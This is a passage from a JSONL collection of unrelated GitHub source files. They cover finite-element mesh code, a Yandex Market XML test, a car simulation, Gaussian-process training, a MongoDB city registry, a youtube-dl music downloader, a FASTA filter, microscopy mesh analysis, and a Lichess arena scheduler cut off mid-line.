[skeleton.findSegment(self.nodes[n0],\n self.nodes[(n0+1)%3]),\n skeleton.findSegment(self.nodes[n1],\n self.nodes[(n1+1)%3])]\n return []\n\nclass ProvisionalTriangle(ProvisionalElement, cskeleton.CSkeletonTriangle):\n def __init__(self, nodes, parents):\n cskeleton.CSkeletonTriangle.__init__(self, *nodes)\n ProvisionalElement.__init__(self, nodes, parents)\n\n###########################\n\ndef getProvisionalElement(nodes, parents):\n if len(nodes) == 3:\n return ProvisionalTriangle(nodes, parents)\n if len(nodes) == 4:\n return ProvisionalQuad(nodes, parents)\n\n###########################\n\ndef _makenewnode(mesh, protonode, coord):\n \"\"\"Make a new node in mesh at coord, given a protonode.\"\"\"\n if protonode.func():\n return mesh.newFuncNode(coord)\n return mesh.newMapNode(coord)\n\ndef _makenewnode_shares(mesh, protonode, coord,\n edgenode0, edgenode1, newindex, protocount,\n protodiclength, maxnnodes):\n if protonode.func():\n newProcList=[]\n newRemoteIndexList=[]\n #Find the processes that share both edgenode0 and edgenode1.\n #In this scheme, the same index for the node gets used by the sharing processes\n for procs0 in edgenode0.sharedWith():\n for procs1 in edgenode1.sharedWith():\n if procs0==procs1:\n newProcList.append(procs0)\n remoteindex0=edgenode0.remoteIndex(procs0)\n remoteindex1=edgenode1.remoteIndex(procs1)\n #The sense of edge traversal is from remoteindex1 to remoteindex0 in procs0\n if remoteindex1 < remoteindex0:\n newremoteindex=maxnnodes+100*remoteindex1+protodiclength- \\\n protocount-1\n else:\n newremoteindex=maxnnodes+100*remoteindex0+50+protodiclength- \\\n protocount-1\n newRemoteIndexList.append(newremoteindex)\n## print \"procs\", newProcList\n## print \"remoteindex\", newRemoteIndexList\n## print \"index\", newindex\n## print \"c0\", edgenode0.index\n## print \"c1\", edgenode1.index\n## print \"--------\"\n return mesh.newFuncNode_shares(coord,\n newProcList,\n newRemoteIndexList,\n newindex)\n #Don't know yet how to handle mapnodes\n return mesh.newMapNode(coord)\n\n############################\n\n","repo_name":"usnistgov/OOF3D","sub_path":"SRC/engine/skeletonelement.py","file_name":"skeletonelement.py","file_ext":"py","file_size_in_byte":31021,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"74988207148","text":"import os\nimport re\nfrom operator import attrgetter\n\nfrom xml.etree import ElementTree as ET\nfrom unittest import TestCase\n\nfrom tests import factories\nfrom yandex_market_language import models\nfrom yandex_market_language import parse, convert\n\n\nBASE_DIR = os.path.dirname(__file__)\nVALID_XML_PATH = os.path.join(BASE_DIR, \"fixtures/valid_feed.xml\")\nTEST_XML_PATH = os.path.join(BASE_DIR, \"test.xml\")\n\npattern = re.compile(r\"\\s+\")\n\n\ndef clean_element_text(el: ET.Element):\n \"\"\"\n Remove whitespaces, new lines & tabs from element text.\n \"\"\"\n if el.text:\n el.text = str(el.text)\n el.text = re.sub(pattern, \"\", el.text)\n else:\n el.text = \"\"\n\n\nclass YMLTestCase(TestCase):\n def assertElementsEquals(self, el1, el2):\n clean_element_text(el1)\n clean_element_text(el2)\n self.assertEqual(el1.text, el2.text)\n self.assertEqual(el1.attrib, el2.attrib)\n\n def compare_elements(self, el1, el2):\n self.assertElementsEquals(el1, el2)\n\n # Debug message\n print(\"SUCCESS COMPARE: {0} == {1}\".format(el1.tag, el2.tag))\n if el1.tag == \"offer\":\n print(\"ENTERED IN OFFER: \", el1.attrib[\"id\"])\n\n # Sort elements by key\n el1[:] = sorted(el1, key=attrgetter(\"tag\"))\n el2[:] = sorted(el2, key=attrgetter(\"tag\"))\n\n # Call compare recursively\n for el1_, el2_ in zip(el1, el2):\n self.assertEqual(el1_.tag, el2_.tag)\n self.compare_elements(el1_, el2_)\n\n def test_parses_valid_xml(self):\n feed = parse(VALID_XML_PATH)\n\n source_xml = ET.parse(VALID_XML_PATH).getroot()\n expected_xml = feed.to_xml()\n\n self.assertIsInstance(feed, models.Feed)\n self.compare_elements(source_xml, expected_xml)\n\n def test_converts_valid_feed(self):\n feed = factories.Feed()\n convert(TEST_XML_PATH, feed)\n parsed_feed = parse(TEST_XML_PATH)\n os.remove(TEST_XML_PATH)\n self.assertEqual(feed.to_dict(), parsed_feed.to_dict())\n","repo_name":"stefanitsky/yandex_market_language","sub_path":"tests/test_yml.py","file_name":"test_yml.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"7978011047","text":"from math import radians, pi, sin, cos\n\nfrom common.car import Car\nfrom common.car_state import CarState\nfrom common.point import Point\n\n\nclass SimpleCar(Car):\n def __init__(self, max_acceleration=10, max_decel=7, max_steer=radians(15), preserved_momentum=0.7):\n self.max_acceleration = max_acceleration\n self.max_decel = max_decel\n self.max_steer = max_steer\n self.preserved_momentum = preserved_momentum\n\n def drive(self, acceleration, steer, state: CarState) -> CarState:\n capped_steer = max(-1.0, min(1.0, steer)) * self.max_steer + state.direction\n\n if capped_steer > pi:\n new_direction = -pi + (capped_steer - pi)\n elif capped_steer < -pi:\n new_direction = pi + (capped_steer + pi)\n else:\n new_direction = capped_steer\n\n capped_acc = max(-1.0, min(1.0, acceleration))\n\n if capped_acc > 0:\n acc_force = self.max_acceleration * capped_acc\n else:\n acc_force = self.max_decel * capped_acc\n\n x, y = SimpleCar.force_vector(acc_force, new_direction)\n\n new_momentum = ((state.momentum[0] * self.preserved_momentum) + x,\n (state.momentum[1] * self.preserved_momentum) + y)\n\n new_position = state.center_of_mass + Point(round(new_momentum[0]), round(new_momentum[1]))\n\n return CarState(new_position, new_direction, new_momentum)\n\n def lidar_origins(self):\n return [Point(0, -1000),\n Point(-500, -1000),\n Point(500, -1000),\n Point(-1000, -700),\n Point(1000, -700),\n Point(-1000, 0),\n Point(1000, 0)]\n\n @staticmethod\n def force_vector(magnitude: float, rad: float) -> (float, float):\n return sin(rad) * magnitude, cos(rad) * -magnitude\n","repo_name":"ChrisUnsworth/cars","sub_path":"PyCar/cars/simple_car.py","file_name":"simple_car.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28404614819","text":"import time\nimport os\nimport numpy as np\nimport torch\nimport gpytorch\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cycler\nimport matplotlib.ticker as ticker\nfrom GP_model import ExactGPModel\nfrom utils import estimate_density, feature_scaling, normalize_density\n\nplt.rcParams[\"font.size\"] = 16\n\ncolors = cycler('color',\n ['#EE6666', '#3388BB', '#9988DD',\n '#EECC55', '#88BB44', '#FFBBBB'])\nplt.rc('axes', facecolor='#E6E6E6', edgecolor='none',\n axisbelow=True, grid=True, prop_cycle=colors)\nplt.rc('grid', color='w', linestyle='solid')\nplt.rc('xtick', direction='out', color='black', labelsize=16)\nplt.rc('ytick', direction='out', color='black', labelsize=16)\nfont = {'size': 16}\nplt.rc('font', **font)\nplt.rc('patch', edgecolor='#E6E6E6')\nplt.rc('lines', linewidth=2)\n\ndata_path = '../../data/chains'\ntrain = [\"m1.e4\", \"m1.e5\", \"m2.e4\", \"m3.e4\", \"m4.e4\", \"m5.e4\", \"m6.e4\"]\nval = [\"m7.e4\", \"m8.e4\", \"m9.e4\"]\n\ntrain_x = []\ntrain_y = []\nval_x = []\nval_y = []\n\n\nfor file in train:\n pe = np.load(f'{data_path}/pe_{file}.dat.npy')\n pe = np.log(pe[:-1])\n ke = np.load(f'{data_path}/ke_{file}.dat.npy')\n ke = np.log(ke[:-1])\n\n pe = feature_scaling(pe)\n ke = feature_scaling(ke)\n\n X = np.zeros((pe.shape[0] - 1, 3))\n X[:, 0] = pe[:-1].flatten()\n X[:, 1] = ke[:-1].flatten()\n X[:, 2] = ke[1:].flatten()\n\n # compute and scale density\n y = feature_scaling(estimate_density(X))\n\n train_x.append(X)\n train_y.append(y)\n\n\nfor file in val:\n pe = np.load(f'{data_path}/pe_{file}.dat.npy')\n pe = np.log(pe[:-1])\n ke = np.load(f'{data_path}/ke_{file}.dat.npy')\n ke = np.log(ke[:-1])\n\n pe = feature_scaling(pe)\n ke = feature_scaling(ke)\n\n X = np.zeros((pe.shape[0] - 1, 3))\n X[:, 0] = pe[:-1].flatten()\n X[:, 1] = ke[:-1].flatten()\n X[:, 2] = ke[1:].flatten()\n\n # compute and scale density\n y = feature_scaling(estimate_density(X))\n\n val_x.append(X)\n val_y.append(y)\n\n# initialize likelihood and model\nlikelihood = gpytorch.likelihoods.GaussianLikelihood()\n\n\n# # Create a DataLoader to create batches\n# batch_size = 1000\n# dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)\n# train_x, train_y = next(iter(dataloader))\n\nx = torch.from_numpy(train_x[0]).float().cuda()\ny = torch.from_numpy(train_y[0]).float().cuda()\nprint(np.mean(train_y[0]), np.std(train_y[0]), np.min(train_y[0]), np.max(train_y[0]))\n\nmodel = ExactGPModel(x, y, likelihood).cuda()\n\ntraining_iter = 5000\ntimestamp = time.strftime(f\"chains_linear_10c_GP_pe_ke_{training_iter}iter_aug%d_t%H%M\", time.gmtime())\nmodel = model.cuda()\nlikelihood = likelihood.cuda()\n\n# # Load saved model weights\n# checkpoint = torch.load('./results_chains/chains_GP_pos_50iter_may31_t1447/model.pth')\n#\n# # Load weights into model\n# model.load_state_dict(checkpoint)\n\n# Find optimal model hyperparameters\nmodel.train()\nlikelihood.train()\n#\nval_loss = []\nval_loss_std = []\ntrain_loss = []\ntrain_loss_std = []\ntrain_loss_ = []\n#\n#\n# Use the adam optimizer\noptimizer = torch.optim.Adam(model.parameters(), lr=0.01) # Includes GaussianLikelihood parameters\n\n# \"Loss\" for GPs - the marginal log likelihood\nmll = gpytorch.mlls.ExactMarginalLogLikelihood(likelihood, model)\ntraining_iter = 5000\nval_on = True\ntraining_start = time.time()\npatience = 105\nbest_loss = float('inf')\nbest_epoch = 0\nn_train= len(train)\nn_val = len(val)\ndata_x = train_x + val_x\ndata_y = train_y + val_y\nperm = np.random.permutation(10)\nperm_train = perm[:n_train]\nperm_val = perm[n_train:]\ntrain_x = [data_x[i] for i in perm_train]\ntrain_y = [data_y[i] for i in perm_train]\nval_x = [data_x[i] for i in perm_val]\nval_y = [data_y[i] for i in perm_val]\nfor i in range(1, training_iter + 1):\n x = torch.from_numpy(train_x[(i - 1) % n_train]).float().cuda()\n y = torch.from_numpy(train_y[(i - 1) % n_train]).float().cuda()\n model.set_train_data(inputs=x, targets=y, strict=False)\n # Zero gradients from previous iteration\n optimizer.zero_grad()\n # Output from model\n output = model(x)\n # Calc loss and backprop gradients\n loss = -mll(output, y)\n loss.backward()\n\n train_loss_.append(loss.item())\n print('Epoch %d/%d - - Loss: %.3f - lengthscale: %.3f - noise: %.3f' % (\n i, training_iter, loss.item(),\n model.covar_module.base_kernel.lengthscale.item(),\n model.likelihood.noise.item()\n ))\n optimizer.step()\n if i % n_train == 0 and val_on:\n train_loss.append(np.mean(train_loss_))\n train_loss_std.append(np.std(train_loss_))\n train_loss_ = []\n model.eval()\n likelihood.eval()\n val_loss_ = []\n for j in range(n_val):\n x = torch.from_numpy(val_x[j]).float().cuda()\n y = torch.from_numpy(val_y[j]).float().cuda()\n output = model(x)\n loss = -mll(output, y)\n val_loss_.append(loss.item())\n print('*** VALIDATION %d/%d - Validation Loss %d: %.3f - Normalized: %.3f ' % (\n i, training_iter, j + 1, loss.item(), loss.item()\n ))\n validation_loss = np.mean(val_loss_)\n val_loss.append(validation_loss)\n val_loss_std.append(np.std(val_loss_))\n if validation_loss < best_loss:\n best_loss = validation_loss\n best_epoch = i\n elif (i - best_epoch) >= patience:\n print(f\"Early stopping on iter. {i}. Best epoch: {i - patience}.\")\n break\n model.train()\n likelihood.train()\n perm = np.random.permutation(10)\n perm_train = perm[:n_train]\n perm_val = perm[n_train:]\n train_x = [data_x[i] for i in perm_train]\n train_y = [data_y[i] for i in perm_train]\n val_x = [data_x[i] for i in perm_val]\n val_y = [data_y[i] for i in perm_val]\n\ntrain_loss = np.array(train_loss)\ntrain_loss_std = np.array(train_loss_std)\nval_loss = np.array(val_loss)\nval_loss_std = np.array(val_loss_std)\nprint('TIME (s):', time.time() - training_start)\nplt.plot(train_loss, label='train loss')\nplt.fill_between(range(len(train_loss)), train_loss - train_loss_std, train_loss + train_loss_std, alpha=0.2)\nplt.plot(val_loss, label='validation loss')\nplt.fill_between(range(len(val_loss)), val_loss - val_loss_std, val_loss + val_loss_std, alpha=0.2)\nplt.legend()\nplt.gca().xaxis.set_major_locator(ticker.MaxNLocator(integer=True))\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Loss\")\nplt.title(r\"$\\mathcal{G}\\mathcal{P}(U_{ij},K_i,K_j)$ training\")\nos.mkdir(f'./results_chains/{timestamp}')\nplt.tight_layout()\nplt.savefig(f'./results_chains/{timestamp}/loss.png')\nplt.show()\ntorch.save(model.state_dict(), f'./results_chains/{timestamp}/model.pth')\n","repo_name":"prodangp/star-clusters-gen","sub_path":"scripts/training/EMCMC_energy.py","file_name":"EMCMC_energy.py","file_ext":"py","file_size_in_byte":6684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40241852057","text":"from pymongo import MongoClient\n\ndef getConexion():\n MONGO_URL = 'mongodb://localhost' #La ubicación de la base de datos\n\n client = MongoClient(MONGO_URL)\n\n db = client['Pruebas'] #la base de datos\n\n collection =db['ciudades'] #La coleccion\n\n return collection\n\ndef menu():\n \n return int(input(\"\"\"\n ======= Registro de ciudades =======\n ======= 1.Agregar ciudad\n ======= 2.Modificar ciudad\n ======= 3.Información sobre ciudades\n ======= 4.Eliminar ciudades\n ======= 5.Salir del registro de ciudades\n Opcion:\"\"\"))\n\ndef menuModificar():\n return int(input(\"\"\"\n ======= Opciones de modificación =======\n ======= 1.Nombre \n ======= 2.Población\n ======= 3.Clima\n Opcion:\"\"\"))\n\ndef menuVer():\n return int(input(\"\"\"\n ======= Opciones de modificación =======\n ======= 1.Ver todas las ciudades\n ======= 2.Ver ciudad en especifico\n ======= 3.Salir\n Opcion:\"\"\"))\n\ndef getCiudades():\n\n ciudades = getConexion().find()\n\n return ciudades\n\n\ndef getCiudad(nombre):\n\n ciudades = getConexion().find_one({'ciudad':nombre})\n\n return ciudades\n\ndef setCiudad(nombre,habitantes,clima):\n\n ciudad = getConexion().insert_one({'ciudad':nombre, 'habitantes':habitantes, 'clima': clima})\n \n return ciudad.acknowledged\n\ndef updateCiudad(nombre, habitante, climas):\n\n update = getConexion().update_one({'ciudad':nombre},{'$set':{'habitantes':habitante,'clima':climas}})\n\n return update.acknowledged\n\ndef deleteCiudad(nombre):\n\n delete = getConexion().delete_one({'ciudad':nombre})\n\n return delete.acknowledged\n\ndef verCiudades():\n\n ciudades = getCiudades()\n \n for ciudad in ciudades:\n \n #print(ciudad)\n print(\"=========== {} =========== \\n Habitantes: {} \\n Clima: {}\".format(ciudad['ciudad'],ciudad['habitantes'],ciudad['clima']))\n\ndef verCiudad():\n\n nombre = input(\"Ingresa la ciudad:\")\n\n ciudad = getCiudad(nombre)\n \n print(\"=========== {} =========== \\n Habitantes: {} \\n Clima: {}\".format(ciudad['ciudad'],ciudad['habitantes'],ciudad['clima']))\n\ndef ingresarCiudad():\n\n nombre = input(\"Ingresar el nombre de la ciudad:\")\n cantidad_habitantes = int(input(\"Cantidad de habitantes:\"))\n lista_clima = []\n while True:\n\n clima = str(input(\"Ingresar clima:\"))\n lista_clima.append(clima)\n\n salir = input(\"Ingresar otra raza (S/N):\")\n\n if salir.lower() == \"n\":\n break \n if setCiudad(nombre,cantidad_habitantes,lista_clima):\n print(\"\\n========== Ciudad agregada exitosamente ==========\")\n else:\n print(\"\\n========== Error ==========\") \n\ndef modificarCiudad():\n\n nombre = input(\"Ingresar el nombre de la ciudad:\")\n cantidad_habitantes = int(input(\"Cantidad de habitantes:\"))\n lista_clima = []\n while True:\n\n clima = str(input(\"Ingresar clima:\"))\n lista_clima.append(clima)\n\n salir = input(\"Ingresar otro clima (S/N):\")\n\n if salir.lower() == \"n\":\n break \n if updateCiudad(nombre,cantidad_habitantes,lista_clima):\n print(\"\\n========== Ciudad actualizada exitosamente ==========\")\n else:\n print(\"\\n========== Error ==========\") \n \ndef main():\n\n op = menu()\n while(op != 5):\n\n if(op == 1):\n ingresarCiudad()\n\n if(op == 2):\n modificarCiudad()\n\n if(op == 3):\n \n opVer = menuVer()\n\n while(opVer != 3):\n\n if(opVer == 1):\n verCiudades()\n \n if(opVer == 2):\n verCiudad()\n\n opVer = menuVer()\n\n print(\"\\t=========== Ciudad visualizada ===========\")\n\n if(op == 4):\n\n print(\"\\nElimnar ciudad\")\n\n ciudad = input(\"\\nIngresar el nombre de la ciudad a eliminar:\")\n\n if deleteCiudad(ciudad):\n print(\"\\n ========== Ciudad elimnana exitosamente ==========\")\n else:\n print(\"========== Error ==========\")\n\n op = menu()\n\n print(\"\\t=========== Programa finalizado ===========\")\n\n\nif __name__ == '__main__':\n main()","repo_name":"LuisSforza/conexionMongoDB","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16432003077","text":"#!venv/bin/python3\n# We download the song\nimport sys, youtube_dl, os, requests\nfrom shutil import copy\nfrom gmusicapi import Musicmanager\nfrom mp3_tagger import MP3File\nfrom mutagen.id3 import ID3, APIC\n\nprint(sys.version)\nfolders = {1:\n {'suicidesheep': ['/media/b0nesh/Ayymacenamiento/musica/suicidesheep', '/media/b0nesh/Ayy lmao/Música/Buena/suicidesheep']}, 2: {'lil peep': ['/media/b0nesh/Ayymacenamiento/musica/lilpeep', '/media/b0nesh/Ayy lmao/Música/Buena/lil_peep']}, 3: {'bangers': ['/media/b0nesh/Ayymacenamiento/musica/bangers']},\n}\nmenu = {\n 1: \"suicidesheep\", 2:'lil peep', 3:'bangers',\n}\nlil = \"\"\"\n ,dPYb, ,dPYb, \n IP'`Yb IP'`Yb \n I8 8I gg I8 8I gg \n I8 8' \"\" I8 8' \"\" \n I8 dP gg I8 dP ,ggg,,ggg,,ggg, gg gg ,g, gg ,gggg, \n I8dP 88 I8dP ,8\" \"8P\" \"8P\" \"8, I8 8I ,8'8, 88 dP\" \"Yb\n I8P 88 I8P I8 8I 8I 8I I8, ,8I ,8' Yb 88 i8' \n,d8b,_ _,88,_,d8b,_ ,dP 8I 8I Yb,,d8b, ,d8b,,8'_ 8) _,88,_,d8,_ _\n8P'\"Y888P\"\"Y88P'\"Y888P' 8I 8I `Y88P'\"Y88P\"`Y8P' \"YY8P8P8P\"\"Y8P\"\"Y8888PP v1.0\n\"\"\"\n\nclass MyLogger(object):\n def debug(self, msg):\n pass\n\n def warning(self, msg):\n pass\n\n def error(self, msg):\n pass\n #print(msg)\n \ndef my_hook(d):\n if d['status'] == 'finished':\n print('\\nDone downloading, now converting...\\n')\n\ndef insert_album_art(music_file, id_video):\n audio = ID3(music_file)\n\n with open('0.jpg', 'wb') as img:\n img.write(requests.get(f'https://img.youtube.com/vi/{id_video}/hqdefault.jpg').content)\n with open('0.jpg', 'rb') as albumart:\n audio['APIC'] = APIC(\n encoding=3,\n mime='image/jpeg',\n type=3, desc=u'Cover',\n data=albumart.read()\n )\n audio.save()\n os.remove('0.jpg')\n \n\n\ndef download(mode, url, num):\n print(f\"Downloading for {mode}\")\n\n #Options\n ydl_opts = {\n 'format': 'bestaudio/best',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'mp3',\n 'preferredquality': '320',\n }],\n 'logger': MyLogger(),\n 'progress_hooks': [my_hook],\n 'outtmpl': folders[num][mode][0] + '/%(title)s.%(ext)s'\n }\n\n #Download the video and extract all the metadata\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n info_dict = ydl.extract_info(url, download=True)\n video_title = info_dict.get('title', None)\n video_filename = '.'.join(ydl.prepare_filename(info_dict).split('.')[:-1]) + '.mp3'\n print(video_filename)\n\n #Edit mp3 tag.\n try:\n print(f\"Editing artist tag to {mode.capitalize()}...\")\n mp3 = MP3File(video_filename)\n mp3.artist = mode.title()\n mp3.save()\n insert_album_art(video_filename, info_dict['id'])\n print(\"Done!\\n\")\n except Exception as e:\n print(\"Error at editing mp3 tag.\\n\")\n print(e)\n\n #Backup\n if num != 3:\n try:\n print(f\"Making a backup of {video_title}...\")\n copy(video_filename, folders[num][mode][1])\n print(\"Done!\\n\")\n except:\n print(\"Error at doing backup.\\n\")\n\n #Upload to google\n if num != 3: \n try:\n print(f\"Uploading {video_title} to Google Music\\n\")\n print(f'With url {url}')\n mm = Musicmanager()\n mm.login(uploader_id='D0:50:99:83:B0:0C')\n mm.upload(video_filename)\n print(\"Done!\\n\")\n except Exception as e:\n print(\"Error at uploading the song to google:\\n\"+e)\n\n\ndef printing():\n print(f\"\\nChoose the number (enter 0 for exiting)\\n{'='*18}\")\n for x in menu:\n print(f'{x} for {menu[x]}')\n return int(input(\"\\nEnter number: \"))\n\n\nif __name__ == '__main__':\n flag = True \n print(lil)\n while flag:\n num = printing()\n if num == 0:\n print(\"\\nBye.\")\n flag = False\n elif num in menu:\n flag2 = True\n url = input(\"Enter the url to download: \")\n while flag2:\n while '&list' in url:\n url = input(\"That's a list!\\n\")\n try:\n download(list(folders[num].keys())[0], url, num)\n except Exception as e:\n print(\"Bad url!\\n\")\n print(e) #Debug\n\n url = input(\"Enter next url to download (enter b to go back)\\n\")\n if url == 'b':\n flag2 = False\n else:\n pass\n","repo_name":"b0n3sh/lil_music","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12476212745","text":"\"\"\"\nThis is just for development. When in the venv run:\npython live.py\nto run the sphinx documentation on the specified local port.\nAny changes to the sphinx files will be automatically rebuilt and updated in a browser pointed at 'localhost:5500'\n\"\"\"\nfrom livereload import Server, shell\nserver = Server()\nserver.watch('documentation/*.rst', shell('make html', cwd='documentation'))\nserver.serve(port=5500, root='documentation/_build/html')\n","repo_name":"pwhipp/monsuite","sub_path":"live.py","file_name":"live.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16376252919","text":"#!/usr/bin/env python\n# coding: utf-8\n'''\nTake a subset BIOM table (e.g. from a core calculation) and a\nrepresentative set (repset) FASTA file and create a new repset\nrestricted to the OTUs in the BIOM table.\n\n@author: Shareef M Dabdoub\n'''\nimport argparse\nimport json\nfrom phylotoast import util\n\n\ndef handle_program_options():\n parser = argparse.ArgumentParser(description=\"Take a subset BIOM table\\\n (e.g. from a core calculation) and a\\\n representative set (repset) FASTA file and\\\n create a new repset restricted to the OTUs\\\n in the BIOM table.\")\n parser.add_argument('-i', '--biom_fp', required=True,\n help=\"Path to a biom-format file with OTU-Sample\\\n abundance data.\")\n parser.add_argument('-r', '--repset_fp', required=True, \n help='Path to a FASTA-format file containing the\\\n representative set of OTUs')\n parser.add_argument('-o', '--repset_out_fp', default='filtered_repset.fna',\n help=\"Path to the new restricted repset file\")\n \n return parser.parse_args()\n\n\ndef main():\n args = handle_program_options()\n\n with open(args.biom_fp, 'rU') as bf:\n biom_otus = {row['id'] for row in json.load(bf)['rows']}\n\n repset = util.parseFASTA(args.repset_fp)\n seq_ids = set()\n\n with open(args.repset_out_fp, 'w') as out_f:\n fasta_str = \">{} {}\\n{}\\n\"\n for seq in repset:\n if seq.id not in seq_ids and seq.id in biom_otus:\n seq_ids.add(seq.id)\n out_f.write(fasta_str.format(seq.id, seq.descr, seq.data))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"smdabdoub/phylotoast","sub_path":"bin/restrict_repset.py","file_name":"restrict_repset.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"73393746986","text":"import numpy as np\n\nimport igl\nimport skimage\n\nfrom readlif.reader import LifFile\nfrom surfaceanisotropycalculator.anisotropyclass import MeshCalculator\n\n\n\ndef createoptimalMesh(image, test='auto', **kwargs):\n \"\"\"\n Find the threshold at which the mesh area is maximized\n\n Parameters\n ----------\n image : STR\n Imagefile (including path).\n channel : INT, optiional\n Which channel to use of the image. If the image has just one channel \n this parmeter has no effect. The default is 0.\n test : iterable, optional\n An iterable containing all threshold values that should be tested. The\n default is 'auto', for which the function automatically generates an\n iterator containing all the integers between the smallest and biggest \n intensity values in the image.\n **kwargs : dict\n Any optional/keyword arguments that should be passed to\n skimage.measure.marching_cubes.\n\n Returns\n -------\n bestmesh : tuple of 4 ndarrays\n Output of skimage.measure.marching_cubes for the mesh with the largest\n surface area.\n maxarea : float\n Surface area of bestmesh.\n correcttreshold : float\n Threshold value at which bestmesh is found.\n\n \"\"\"\n\n if test == 'auto':\n info = [int(np.max(image)), int(np.min(image))]\n test = range(info[1], info[0])\n \n maxarea = 0\n bestmesh = ()\n try:\n for level in test:\n mymesh = skimage.measure.marching_cubes(image, level, **kwargs)\n myarea = skimage.measure.mesh_surface_area(mymesh[0], mymesh[1])\n if myarea > maxarea:\n maxarea = myarea\n bestmesh = mymesh\n correcttreshold = level\n except TypeError:\n bestmesh = skimage.measure.marching_cubes(image, test, **kwargs)\n maxarea = skimage.measure.mesh_surface_area(bestmesh[0], bestmesh[1])\n correcttreshold = test\n\n return bestmesh, maxarea, correcttreshold\n\n\nclass MeshFromLif(MeshCalculator):\n \"\"\"\n Simple wrapper class to import mesh from an image stack in .lif format.\n \n Parameters\n ----------\n filename : str\n Path + filename + extension of the image stack file. \n channel : INT\n Which channel to use of the image stack.\n test : iterable, optional\n An iterable containing all threshold values that should be tested. The\n default is 'auto', for which the function automatically generates an\n iterator containing all the integers between the smallest and biggest \n intensity values in the image.\n **kwargs : dict\n Any optional/keyword arguments that should be passed to\n skimage.measure.marching_cubes. \n\n Returns\n -------\n None.\n \"\"\"\n def __init__(self, image, channel, test='auto', **kwargs):\n \"\"\"\n Initialize class instance\n \"\"\" \n myimg = LifFile(image).get_image()\n img = np.fromiter(myimg.get_iter_z(c=channel), np.dtype((int, (1024,1024))))\n scales = myimg.scale\n spacing = [1/np.abs(x) for x in scales[2::-1]]\n \n mesh, area, threshold = createoptimalMesh(img, test, spacing = spacing, **kwargs)\n print(f'Best mesh at threshold {threshold}')\n v, f, normals, values = mesh\n nv, _, _, nf = igl.remove_duplicate_vertices(v, f, 1e-7)\n MeshCalculator.__init__(self, nv, nf)\n \n\n\n\n\nclass MeshFromStack(MeshCalculator):\n \"\"\"\n Simple wrapper class to import mesh from an image stack with manual spacings\n \n Parameters\n ----------\n filename : str\n Path + filename + extension of the image stack file. \n channel : INT\n Which channel to use of the image stack.\n test : iterable, optional\n An iterable containing all threshold values that should be tested. The\n default is 'auto', for which the function automatically generates an\n iterator containing all the integers between the smallest and biggest \n intensity values in the image.\n **kwargs : dict\n Any optional/keyword arguments that should be passed to\n skimage.measure.marching_cubes.\n\n Returns\n -------\n None.\n \"\"\"\n def __init__(self, image, channel, test='auto', **kwargs):\n \"\"\"\n Initialize class instance\n \"\"\"\n myimg = skimage.io.imread(image)\n try:\n grayimg = myimg[:,:,:, channel]\n except IndexError:\n grayimg = myimg[:,:,:]\n mesh, area, threshold = createoptimalMesh(grayimg, test, **kwargs)\n print(f'Best mesh at threshold {threshold}')\n v, f, normals, values = mesh\n nv, _, _, nf = igl.remove_duplicate_vertices(v, f, 1e-7)\n MeshCalculator.__init__(self, nv, nf)\n \n","repo_name":"GeertUU/SurfaceAnisotropyCalculator","sub_path":"surfaceanisotropycalculator/stackanalysis.py","file_name":"stackanalysis.py","file_ext":"py","file_size_in_byte":4867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6035037338","text":"from dataclasses import dataclass\nfrom typing import Dict, Text, Union\n\nimport datetime\nimport dotenv\nimport logging\nimport os\nimport pathlib\nimport requests\n\n\n@dataclass\nclass TimeControl:\n clock: int\n increment: int\n\n\n@dataclass\nclass Level:\n name: Text\n min_elo: int = None\n max_elo: int = None\n\n\n@dataclass\nclass Arena:\n level: Level\n time_control: TimeControl\n start_datetime: datetime.datetime\n\n duration: int = 55\n min_rated: int = 0\n \n def prepare_request(self) -> Dict[Text, Union[Text, int, bool]]:\n label = 'Under {}'.format(self.level.max_elo) if self.level.max_elo else 'Open'\n request = {\n 'name': f'Hourly {label} Chess960',\n 'clockTime': self.time_control.clock,\n 'clockIncrement': self.time_control.increment,\n 'minutes': self.duration,\n 'startDate': int(self.start_datetime.timestamp()) * 1000,\n 'variant': 'chess960',\n 'description': 'Daily Chess960 Arena. Times cycle daily so that everyone '\n 'gets a chance to play their favorite time control. Please put all '\n 'suggestions in the forum! Have fun :)',\n 'conditions.teamMember.teamId': 'chess960',\n 'conditions.nbRatedGame.nb': self.min_rated,\n }\n\n if self.level.min_elo:\n request['conditions.minRating.rating'] = self.level.min_elo\n\n if self.level.max_elo:\n request['conditions.maxRating.rating'] = self.level.max_elo\n\n return request\n\n def register(self):\n headers = {'Authorization': 'Bearer {}'.format(os.getenv('TOKEN'))}\n data = self.prepare_request()\n return requests.post('https://lichess.org/api/tournament', \n headers=headers, data=data)\n\n\nTIME_CONTROLS = [\n TimeControl(3, 2),\n TimeControl(5, 3),\n TimeControl(7, 5),\n TimeControl(10, 0),\n]\n\nLEVELS = [\n Level('Beginner', None, 1500),\n Level('Intermediate', None, 1700),\n Level('Master', None, None),\n]\n\n\ndef make_daily_arenas(day: datetime.datetime):\n start = datetime.datetime(day.year, day.month, 